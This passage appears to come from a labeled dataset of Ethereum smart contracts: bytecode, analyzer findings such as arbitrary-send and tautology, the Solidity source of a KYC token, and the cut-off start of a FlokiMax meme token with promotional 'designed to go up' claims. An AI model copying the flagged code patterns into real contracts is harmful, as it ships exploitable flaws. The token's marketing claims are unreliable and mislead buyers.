f16155b80156112195750600c546001600160a01b03858116911614806112195750600c546001600160a01b038481169116145b156113ca57600c54600160b81b900460ff166112775760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610500565b50600c546001906001600160a01b0385811691161480156112a65750600b546001600160a01b03848116911614155b80156112b3575042600e54115b156112fa5760006112c3846106c0565b90506112e360646112dd678ac7230489e8000060036114ea565b90611569565b6112ed84836115ab565b11156112f857600080fd5b505b600d54421415611328576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611333306106c0565b600c54909150600160b01b900460ff1615801561135e5750600c546001600160a01b03868116911614155b156113c85780156113c857600c54611392906064906112dd90600d9061138c906001600160a01b03166106c0565b906114ea565b8111156113bf57600c546113bc906064906112dd90600d9061138c906001600160a01b03166106c0565b90505b6113c881610d23565b505b6113d68484848461160a565b50505050565b600081848411156114005760405162461bcd60e51b815260040161050091906118f3565b50600061140d8486611c46565b95945050505050565b600060065482111561147d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610500565b600061148761170d565b90506114938382611569565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114f957506000610533565b60006115058385611c5d565b9050826115128583611c7c565b146114935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610500565b600061149383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611730565b6000806115b88385611ba0565b9050838110156114935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610500565b80806116185761161861175e565b6000806000806116278761177a565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165490856117c1565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168390846115ab565b6001600160a01b0389166000908152600160205260409020556116a581611803565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ea91815260200190565b60405180910390a3505050508061170657611706600954600855565b5050505050565b600080600061171a61184d565b90925090506117298282611569565b9250505090565b600081836117515760405162461bcd60e51b815260040161050091906118f3565b50600061140d8486611c7c565b60006008541161176d57600080fd5b6008805460095560009055565b60008060008060008061178f8760085461188d565b91509150600061179d61170d565b90506000806117ad8a85856118ba565b909b909a5094985092965092945050505050565b600061149383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113dc565b600061180d61170d565b9050600061181b83836114ea565b3060009081526001602052604090205490915061183890826115ab565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118688282611569565b82101561188457505060065492678ac7230489e8000092509050565b90939092509050565b600080806118a060646112dd87876114ea565b905060006118ae86836117c1565b96919550909350505050565b600080806118c886856114ea565b905060006118d686866114ea565b905060006118e483836117c1565b92989297509195505050505050565b600060208083528351808285015260005b8181101561192057858101830151858201604001528201611904565b81811115611932576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051f57600080fd5b803561196881611948565b919050565b6000806040838503121561198057600080fd5b823561198b81611948565b946020939093013593505050565b6000806000606084860312156119ae57600080fd5b83356119b981611948565b925060208401356119c981611948565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0357600080fd5b823567ffffffffffffffff80821115611a1b57600080fd5b818501915085601f830112611a2f57600080fd5b813581811115611a4157611a416119da565b8060051b604051601f19603f83011681018181108582111715611a6657611a666119da565b604052918252848201925083810185019188831115611a8457600080fd5b938501935b82851015611aa957611a9a8561195d565b84529385019392850192611a89565b98975050505050505050565b600060208284031215611ac757600080fd5b813561149381611948565b60008060408385031215611ae557600080fd5b8235611af081611948565b91506020830135611b0081611948565b809150509250929050565b600060208284031215611b1d57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9957611b99611b6f565b5060010190565b60008219821115611bb357611bb3611b6f565b500190565b600060208284031215611bca57600080fd5b815161149381611948565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c255784516001600160a01b031683529383019391830191600101611c00565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5857611c58611b6f565b500390565b6000816000190483118215151615611c7757611c77611b6f565b500290565b600082611c9957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209043f0ea09b72d4a936720a442e2c20b369f389d075b8820dd00de2b4f99911964736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,780 |
0xc56d66c48e4ad0f324451cc659a74d5793c6a7de
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
mapping(address => uint256) public balances;
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Freezing tokens
*/
contract Freezing is Ownable, ERC20Basic {
using SafeMath for uint256;
address tokenManager;
bool freezingActive = true;
event Freeze(address _holder, uint256 _amount);
event Unfreeze(address _holder, uint256 _amount);
// all freezing sum for every holder
mapping(address => uint256) public freezeBalances;
modifier onlyTokenManager() {
assert(msg.sender == tokenManager);
_;
}
/**
* @dev Check freezing balance
*/
modifier checkFreezing(address _holder, uint _value) {
if (freezingActive) {
require(balances[_holder].sub(_value) >= freezeBalances[_holder]);
}
_;
}
function setTokenManager(address _newManager) onlyOwner public {
tokenManager = _newManager;
}
/**
* @dev Enable freezing for contract
*/
function onFreezing() onlyTokenManager public {
freezingActive = true;
}
/**
* @dev Disable freezing for contract
*/
function offFreezing() onlyTokenManager public {
freezingActive = false;
}
function Freezing() public {
tokenManager = owner;
}
/**
* @dev Returns freezing balance of _holder
*/
function freezingBalanceOf(address _holder) public view returns (uint256) {
return freezeBalances[_holder];
}
/**
* @dev Freeze amount for user
*/
function freeze(address _holder, uint _amount) public onlyTokenManager {
assert(balances[_holder].sub(_amount.add(freezeBalances[_holder])) >= 0);
freezeBalances[_holder] = freezeBalances[_holder].add(_amount);
emit Freeze(_holder, _amount);
}
/**
* @dev Unfreeze amount for user
*/
function unfreeze(address _holder, uint _amount) public onlyTokenManager {
assert(freezeBalances[_holder].sub(_amount) >= 0);
freezeBalances[_holder] = freezeBalances[_holder].sub(_amount);
emit Unfreeze(_holder, _amount);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Roles of users
*/
contract VerificationStatus {
enum Statuses {None, Self, Video, Agent, Service}
Statuses constant defaultStatus = Statuses.None;
event StatusChange(bytes32 _property, address _user, Statuses _status, address _caller);
}
/**
* @title Roles of users
*
* @dev User roles for KYC Contract
*/
contract Roles is Ownable {
// 0, 1, 2
enum RoleItems {Person, Agent, Administrator}
RoleItems constant defaultRole = RoleItems.Person;
mapping (address => RoleItems) private roleList;
/**
* @dev Event for every change of role
*/
event RoleChange(address _user, RoleItems _role, address _caller);
/**
* @dev for agent function
*/
modifier onlyAgent() {
assert(roleList[msg.sender] == RoleItems.Agent);
_;
}
/**
* @dev for administrator function
*/
modifier onlyAdministrator() {
assert(roleList[msg.sender] == RoleItems.Administrator || msg.sender == owner);
_;
}
/**
* @dev Save role for user
*/
function _setRole(address _user, RoleItems _role) internal {
emit RoleChange(_user, _role, msg.sender);
roleList[_user] = _role;
}
/**
* @dev reset role
*/
function resetRole(address _user) onlyAdministrator public {
_setRole(_user, RoleItems.Person);
}
/**
* @dev Appointing agent by administrator or owner
*/
function appointAgent(address _user) onlyAdministrator public {
_setRole(_user, RoleItems.Agent);
}
/**
* @dev Appointing administrator by owner
*/
function appointAdministrator(address _user) onlyOwner public returns (bool) {
_setRole(_user, RoleItems.Administrator);
return true;
}
function getRole(address _user) public view returns (RoleItems) {
return roleList[_user];
}
}
/**
* @title Storage for users data
*/
contract PropertyStorage is Roles, VerificationStatus {
struct Property {
Statuses status;
bool exist;
uint16 code;
}
mapping(address => mapping(bytes32 => Property)) private propertyStorage;
// agent => property => status
mapping(address => mapping(bytes32 => bool)) agentSign;
event NewProperty(bytes32 _property, address _user, address _caller);
modifier propertyExist(bytes32 _property, address _user) {
assert(propertyStorage[_user][_property].exist);
_;
}
/**
* @dev Compute hash for property before write into storage
*
* @param _name Name of property (such as full_name, birthday, address etc.)
* @param _data Value of property
*/
function computePropertyHash(string _name, string _data) pure public returns (bytes32) {
return sha256(_name, _data);
}
function _addPropertyValue(bytes32 _property, address _user) internal {
propertyStorage[_user][_property] = Property(
Statuses.None,
true,
0
);
emit NewProperty(_property, _user, msg.sender);
}
/**
* @dev Add data for any user by administrator
*/
function addPropertyForUser(bytes32 _property, address _user) public onlyAdministrator returns (bool) {
_addPropertyValue(_property, _user);
return true;
}
/**
* @dev Add property for sender
*/
function addProperty(bytes32 _property) public returns (bool) {
_addPropertyValue(_property, msg.sender);
return true;
}
/**
* @dev Returns status of user data (may be self 1, video 2, agent 3 or Service 4)
* @dev If verification is empty then it returns 0 (None)
*/
function getPropertyStatus(bytes32 _property, address _user) public view propertyExist(_property, _user) returns (Statuses) {
return propertyStorage[_user][_property].status;
}
/**
* @dev when user upload documents administrator will call this function
*/
function setPropertyStatus(bytes32 _property, address _user, Statuses _status) public onlyAdministrator returns (bool){
_setPropertyStatus(_property, _user, _status);
return true;
}
/**
* @dev Agent sign on user data by agent
*/
function setAgentVerificationByAgent(bytes32 _property, address _user) public onlyAgent {
_setPropertyStatus(_property, _user, Statuses.Agent);
_signPropertyByAgent(msg.sender, _user, _property);
}
/**
* @dev Agent sign on user data by Admin
*/
function setAgentVerificationByAdmin(address _agent, address _user, bytes32 _property) public onlyOwner {
_setPropertyStatus(_property, _user, Statuses.Agent);
_signPropertyByAgent(_agent, _user, _property);
}
/**
* @dev Set verification status for user data
*/
function _setPropertyStatus(bytes32 _property, address _user, Statuses _status) internal propertyExist(_property, _user) {
propertyStorage[_user][_property].status = _status;
emit StatusChange(_property, _user, _status, msg.sender);
}
/**
* @dev Agent sign on user data
*/
function _signPropertyByAgent(address _agent, address _user, bytes32 _property) internal {
bytes32 _hash = _getHash(_user, _property);
agentSign[_agent][_hash] = true;
}
/**
* @dev To make sure that the agent has signed the user property
*/
function checkAgentSign(address _agent, address _user, bytes32 _property) public view returns (bool) {
bytes32 _hash = _getHash(_user, _property);
return agentSign[_agent][_hash];
}
/**
* @dev Get hash sum for property
*/
function _getHash(address _user, bytes32 _property) public pure returns (bytes32) {
return sha256(_user, _property);
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract ERC20BasicToken is ERC20Basic, Freezing {
using SafeMath for uint256;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) checkFreezing(msg.sender, _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract KYCToken is ERC20BasicToken, ERC20, PropertyStorage {
mapping(address => mapping(address => uint256)) internal allowed;
uint256 public totalSupply = 42000000000000000000000000;
string public name = "KYC.Legal token";
uint8 public decimals = 18;
string public symbol = "KYC";
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function KYCToken() public {
balances[msg.sender] = totalSupply;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) checkFreezing(_from, _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
}
|
0x6060604052600436106101955763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630283f4b4811461019a57806306fdde03146101d0578063095ea7b31461025a5780630d38ed591461027c578063129a5b99146102ad57806313233cd9146102f357806318160ddd14610314578063237326b51461032757806323b872dd1461034f57806324bce60c1461037757806327e235e3146103995780632adbb84d146103b85780632d9346ab146103cb578063313ce567146103f3578063442767331461041c5780636969d5d81461044b5780636f1c8a511461046a57806370a082311461048c5780637b46b80b146104ab5780637cb2b79c146104cd5780637d128d2e146104ec578063831d3e09146105145780638da5cb5b1461052757806395d89b4114610556578063a5b4f7d314610569578063a8c0f15e1461058b578063a9059cbb146105a1578063d024768f146105c3578063d8aeedf514610656578063dd62ed3e14610675578063f2fde38b1461069a578063f57ad503146106b9575b600080fd5b34156101a557600080fd5b6101bc600435600160a060020a03602435166106d8565b604051901515815260200160405180910390f35b34156101db57600080fd5b6101e3610738565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561021f578082015183820152602001610207565b50505050905090810190601f16801561024c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026557600080fd5b6101bc600160a060020a03600435166024356107d6565b341561028757600080fd5b61029b600160a060020a0360043516610842565b60405190815260200160405180910390f35b34156102b857600080fd5b6102cf600435600160a060020a0360243516610854565b604051808260048111156102df57fe5b60ff16815260200191505060405180910390f35b34156102fe57600080fd5b610312600160a060020a03600435166108b7565b005b341561031f57600080fd5b61029b610910565b341561033257600080fd5b6101bc600435600160a060020a036024351660ff60443516610916565b341561035a57600080fd5b6101bc600160a060020a0360043581169060243516604435610978565b341561038257600080fd5b610312600160a060020a0360043516602435610b53565b34156103a457600080fd5b61029b600160a060020a0360043516610c56565b34156103c357600080fd5b610312610c68565b34156103d657600080fd5b610312600160a060020a0360043581169060243516604435610cb7565b34156103fe57600080fd5b610406610cee565b60405160ff909116815260200160405180910390f35b341561042757600080fd5b61043b600160a060020a0360043516610cf7565b604051808260028111156102df57fe5b341561045657600080fd5b6101bc600160a060020a0360043516610d15565b341561047557600080fd5b61029b600160a060020a0360043516602435610d44565b341561049757600080fd5b61029b600160a060020a0360043516610d9a565b34156104b657600080fd5b610312600160a060020a0360043516602435610db5565b34156104d857600080fd5b610312600160a060020a0360043516610e8e565b34156104f757600080fd5b6101bc600160a060020a0360043581169060243516604435610ed8565b341561051f57600080fd5b610312610f18565b341561053257600080fd5b61053a610f50565b604051600160a060020a03909116815260200160405180910390f35b341561056157600080fd5b6101e3610f5f565b341561057457600080fd5b610312600435600160a060020a0360243516610fca565b341561059657600080fd5b6101bc600435611015565b34156105ac57600080fd5b6101bc600160a060020a0360043516602435611021565b34156105ce57600080fd5b61029b60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061117595505050505050565b341561066157600080fd5b61029b600160a060020a0360043516611235565b341561068057600080fd5b61029b600160a060020a0360043581169060243516611250565b34156106a557600080fd5b610312600160a060020a036004351661127b565b34156106c457600080fd5b610312600160a060020a0360043516611316565b60006002600160a060020a03331660009081526005602052604090205460ff16600281111561070357fe5b148061071d575060005433600160a060020a039081169116145b151561072557fe5b61072f838361136c565b50600192915050565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b505050505081565b600160a060020a03338116600081815260086020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60036020526000908152604090205481565b600160a060020a038116600090815260066020908152604080832085845290915281205483908390610100900460ff16151561088c57fe5b505050600160a060020a03166000908152600660209081526040808320938352929052205460ff1690565b6002600160a060020a03331660009081526005602052604090205460ff1660028111156108e057fe5b14806108fa575060005433600160a060020a039081169116145b151561090257fe5b61090d816001611451565b50565b60095481565b60006002600160a060020a03331660009081526005602052604090205460ff16600281111561094157fe5b148061095b575060005433600160a060020a039081169116145b151561096357fe5b61096e8484846114f9565b5060019392505050565b60008382600260149054906101000a900460ff16156109d157600160a060020a0382166000908152600360209081526040808320546001909252909120546109c6908363ffffffff6115ef16565b10156109d157600080fd5b600160a060020a03851615156109e657600080fd5b600160a060020a038616600090815260016020526040902054841115610a0b57600080fd5b600160a060020a0380871660009081526008602090815260408083203390941683529290522054841115610a3e57600080fd5b600160a060020a038616600090815260016020526040902054610a67908563ffffffff6115ef16565b600160a060020a038088166000908152600160205260408082209390935590871681522054610a9c908563ffffffff61160116565b600160a060020a03808716600090815260016020908152604080832094909455898316825260088152838220339093168252919091522054610ae4908563ffffffff6115ef16565b600160a060020a03808816600081815260086020908152604080832033861684529091529081902093909355908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a350600195945050505050565b60025433600160a060020a03908116911614610b6b57fe5b600160a060020a038216600090815260036020526040812054610bbe90610b9990849063ffffffff61160116565b600160a060020a0385166000908152600160205260409020549063ffffffff6115ef16565b1015610bc657fe5b600160a060020a038216600090815260036020526040902054610bef908263ffffffff61160116565b600160a060020a03831660009081526003602052604090819020919091557ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0908390839051600160a060020a03909216825260208201526040908101905180910390a15050565b60016020526000908152604090205481565b60025433600160a060020a03908116911614610c8057fe5b6002805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60005433600160a060020a03908116911614610cd257600080fd5b610cde818360036114f9565b610ce9838383611617565b505050565b600b5460ff1681565b600160a060020a031660009081526005602052604090205460ff1690565b6000805433600160a060020a03908116911614610d3157600080fd5b610d3c826002611451565b506001919050565b600060028383604051600160a060020a03929092166c0100000000000000000000000002825260148201526034016020604051808303816000865af11515610d8b57600080fd5b50506040518051949350505050565b600160a060020a031660009081526001602052604090205490565b60025433600160a060020a03908116911614610dcd57fe5b600160a060020a038216600090815260036020526040812054610df6908363ffffffff6115ef16565b1015610dfe57fe5b600160a060020a038216600090815260036020526040902054610e27908263ffffffff6115ef16565b600160a060020a03831660009081526003602052604090819020919091557f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f908390839051600160a060020a03909216825260208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610ea957600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080610ee58484610d44565b600160a060020a038616600090815260076020908152604080832084845290915290205460ff1692509050509392505050565b60025433600160a060020a03908116911614610f3057fe5b6002805474ff000000000000000000000000000000000000000019169055565b600054600160a060020a031681565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ce5780601f106107a3576101008083540402835291602001916107ce565b6001600160a060020a03331660009081526005602052604090205460ff166002811115610ff357fe5b14610ffa57fe5b611006828260036114f9565b611011338284611617565b5050565b6000610d3c823361136c565b60003382600260149054906101000a900460ff161561107a57600160a060020a03821660009081526003602090815260408083205460019092529091205461106f908363ffffffff6115ef16565b101561107a57600080fd5b600160a060020a038516151561108f57600080fd5b600160a060020a0333166000908152600160205260409020548411156110b457600080fd5b600160a060020a0333166000908152600160205260409020546110dd908563ffffffff6115ef16565b600160a060020a033381166000908152600160205260408082209390935590871681522054611112908563ffffffff61160116565b600160a060020a0380871660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a3506001949350505050565b6000600283836040518083805190602001908083835b602083106111aa5780518252601f19909201916020918201910161118b565b6001836020036101000a038019825116818451161790925250505091909101905082805190602001908083835b602083106111f65780518252601f1990920191602091820191016111d7565b6001836020036101000a038019825116818451168082178552505050505050905001925050506020604051808303816000865af11515610d8b57600080fd5b600160a060020a031660009081526003602052604090205490565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b60005433600160a060020a0390811691161461129657600080fd5b600160a060020a03811615156112ab57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6002600160a060020a03331660009081526005602052604090205460ff16600281111561133f57fe5b1480611359575060005433600160a060020a039081169116145b151561136157fe5b61090d816000611451565b6060604051908101604090815260008083526001602080850191909152828401829052600160a060020a03851682526006815282822086835290522081518154829060ff191660018360048111156113c057fe5b0217905550602082015181549015156101000261ff00199091161781556040820151815461ffff91909116620100000263ffff000019909116179055507fc38a0ba88d1c761eb7c4653e6152b15a50518db005c563fb256180fd3835c070828233604051928352600160a060020a039182166020840152166040808301919091526060909101905180910390a15050565b7f7b60b51d9cbb1c7f54b04f3391bce64bcfa8296f21b823ad50a83ecfeac02c1c828233604051600160a060020a03841681526020810183600281111561149457fe5b60ff16815260200182600160a060020a0316600160a060020a03168152602001935050505060405180910390a1600160a060020a0382166000908152600560205260409020805482919060ff191660018360028111156114f057fe5b02179055505050565b600160a060020a038216600090815260066020908152604080832086845290915290205483908390610100900460ff16151561153157fe5b600160a060020a03841660009081526006602090815260408083208884529091529020805484919060ff1916600183600481111561156b57fe5b02179055507f5d6360ccb71de639ad0da7dfeaeaefcf243b7f8e3bc084b83ac90f75002e23b785858533604051848152600160a060020a0384166020820152604081018360048111156115ba57fe5b60ff16815260200182600160a060020a0316600160a060020a0316815260200194505050505060405180910390a15050505050565b6000828211156115fb57fe5b50900390565b60008282018381101561161057fe5b9392505050565b60006116238383610d44565b600160a060020a03909416600090815260076020908152604080832096835295905293909320805460ff191660011790555050505600a165627a7a723058206b409675657a52f21c2e73b502940cf915d10441d29aaf14d87da5fda84a2eb30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 7,781 |
0x039a6cdfd143db5839373d35782b03730ada6da8
|
/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
// $FlokiMax
// Telegram: https://t.me/FlokiMax
/*
__ _ _
( _`\(_ ) ( ) _ /'\_/`\
| (_(_)| | _ | |/') (_)| | _ _
| _) | | /'_`\ | , < | || (_) | /'_` )(`\/')
| | | | ( (_) )| |\`\ | || | | |( (_| | > <
(_) (___)`\___/'(_) (_)(_)(_) (_)`\__,_)(_/\_)
*/
// FlokiMax - When Floki and eMax had a child
// Introducing the only coin on the blockchain that is designed to go up.
// Buybacks will be activated manually, at random.
// Members will NOT be able to vote on when buybacks will be executed - this will be done in a manner that is unpredictable for maximum impact. Democracy is overrated ;p
// Fair Launch, no Dev Tokens. 100% LP.
// 20%+ Slippage
// Liquidity will be locked
// Ownership will be renounced
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlokiMax is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "FlokiMax";
string private constant _symbol = 'FlokiMax';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
